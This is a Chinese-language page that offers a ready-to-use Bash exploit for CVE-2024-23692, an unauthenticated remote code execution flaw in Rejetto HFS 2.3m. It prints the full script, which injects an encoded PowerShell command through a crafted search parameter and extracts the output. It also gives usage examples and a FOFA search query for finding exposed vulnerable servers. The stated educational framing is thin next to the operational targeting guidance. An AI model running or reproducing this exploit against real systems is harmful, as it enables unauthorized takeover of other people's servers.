Rejetto HFS 2.3m 未授权远程代码执行漏洞利用工具 (CVE-2024-23692)

0 阅读3分钟

CVE-2024-23692:Rejetto HFS 未授权 RCE 利用工具

这是一个针对 Rejetto HTTP File Server (HFS) 2.3m 版本中 CVE-2024-23692 漏洞的 Bash 脚本利用工具。该漏洞允许未授权的攻击者在目标服务器上远程执行任意代码,对系统安全构成严重威胁。

功能特性

  • 一键利用:简单易用的 Bash 脚本,只需提供目标 URL 和待执行的系统命令。
  • 命令编码:自动将用户输入的命令转换为 UTF-16LE 格式并进行 Base64 编码,以适配 PowerShell 执行环境。
  • 结果提取:智能解析服务器返回的响应,仅提取并显示执行命令后的有效输出结果,去除干扰信息。
  • 目标发现:提供 FOFA 搜索语法,帮助研究人员快速定位可能存在漏洞的 HFS 2.3m 实例。
  • 教育目的:清晰的代码结构和注释,便于安全研究人员学习漏洞原理和利用技术。

安装指南

环境要求

  • 操作系统:支持 Bash 的 Linux/macOS 环境,或 Windows 上的 WSL/Git Bash。
  • 依赖工具
    • curl:用于发送 HTTP 请求。
    • iconv:用于转换命令字符串的字符编码。
    • base64:用于编码命令。
    • awk:用于处理和过滤响应数据。

安装步骤

  1. 克隆或下载脚本: 将本项目的 CVE-2024-23692.sh 脚本保存到本地。

  2. 赋予执行权限

    chmod +x CVE-2024-23692.sh
    
  3. 验证依赖: 确保系统中已安装所有依赖工具。

    # 检查 curl 是否安装
    which curl
    # 检查 iconv 是否安装
    which iconv
    # 检查 base64 是否安装
    which base64
    # 检查 awk 是否安装
    which awk
    

使用说明

基础用法

脚本的基本执行格式如下:

./CVE-2024-23692.sh <目标URL> <待执行的命令>
示例 1:执行系统命令并查看输出
./CVE-2024-23692.sh http://192.168.1.100:8080 "whoami"

该命令会在目标服务器上执行 whoami 命令,并返回当前用户的身份。

示例 2:执行多命令或复杂操作
./CVE-2024-23692.sh http://192.168.1.100:8080 "ipconfig /all"

寻找目标

使用 FOFA 搜索引擎(类似于 Shodan)查找可能受影响的 HFS 2.3m 服务器:

  • FOFA 搜索语法"HttpFileServer" && server=="HFS 2.3m"

漏洞利用流程

  1. 脚本将用户输入的命令包裹在 echo [S]; <command>; echo [S]; 结构中。
  2. 使用 iconv -t UTF-16LE 将字符串转换为 UTF-16LE 编码。
  3. 使用 base64 -w 0 对编码后的内容进行 Base64 编码。
  4. 构造包含恶意参数的 GET 请求 URL。
  5. 使用 curl 向目标服务器发送请求。
  6. 利用 awk 从响应中提取 [S] 标记之间的输出内容。

核心代码

#!/usr/bin/env bash

# 显示漏洞利用工具的标志性横幅
banner() {
cat <<'EOF'
  ______     _______   ____   ___ ____  _  _     ____  _____  __   ___ ____  
 / ___\ \   / / ____| |___ \ / _ \___ \| || |   |___ \|___ / / /_ / _ \___ \ 
| |    \ \ / /|  _|     __) | | | |__) | || |_    __) | |_ \| '_ \ (_) |__) |
| |___  \ V / | |___   / __/| |_| / __/|__   _|  / __/ ___) | (_) \__, / __/ 
 \____|  \_/  |_____| |_____|\___/_____|  |_|   |_____|____/ \___/  /_/_____|
                                                                             
__     __                _                      _____         _     
\ \   / /__ _ __ _   _  | |    __ _ _____   _  |_   _|__  ___| |__  
 \ \ / / _ \ '__| | | | | |   / _` |_  / | | |   | |/ _ \/ __| '_ \ 
  \ V /  __/ |  | |_| | | |__| (_| |/ /| |_| |   | |  __/ (__| | | |
   \_/ \___|_|   \__, | |_____\__,_/___|\__, |   |_|\___|\___|_| |_|
                 |___/                  |___/                       
                    

                    @VeryLazyTech - Medium
                    
EOF
}

# 调用横幅显示函数
banner

# 启用错误时立即退出,确保脚本在遇到错误时停止
set -e

# 检查命令行参数数量是否正确
if [ "$#" -ne 2 ]; then
    printf "Usage: $0 <url> <command>"
    exit 1
fi

# 核心利用逻辑:
# 1. 构造要执行的命令字符串,并使用 '[S]' 作为输出标记,便于后续提取结果
# 2. 将命令字符串转换为 UTF-16LE 编码(Windows 系统常用)
# 3. 对转换后的字节流进行 Base64 编码,用于 PowerShell 的 -enc 参数
commands=$(echo "echo [S]; $2; echo [S];" | iconv -t UTF-16LE | base64 -w 0)

# 构造包含恶意负载的 URL
# 漏洞点位于 URL 参数中,通过特定的语法注入命令执行
payload="/?n=%0A&cmd=cmd+/c+powershell+-enc+$commands&search=%25xxx%25url%25:%password%\}\{.exec|\{.?cmd.\}|timeout=15|out=abc.\}\{.?n.\}\{.?n.\}RESULT:\{.?n.\}\{.^abc.\}====\{.?n.\}"

# 组合完整的攻击 URL
url=$1$payload

printf "\033[0;32mTrying to exploit... Just a sec\033[0m"

# 发送恶意请求
response=$(curl -s -X GET "$url")

# 使用 awk 提取命令执行结果:
# 查找 '[S]' 标记,并打印第一个标记之后到第二个标记之间的所有内容
result=$(echo "$response" | awk 'BEGIN {found=0} /\[S\]/ {if (found == 0) {found=1; next} else {exit}} found {print}')

# 输出最终结果,包含时间戳和命令输出
printf "[\033[0;32m*\033[0m]" $(date "+%Y-%m-%d %H:%M:%S") " \n[\033[0;32m*\033[0m] Output: \n"
printf "$result"
printf "\n"

6HFtX5dABrKlqXeO5PUv/4N6eUEvsQI4H+J+IrCyZAc=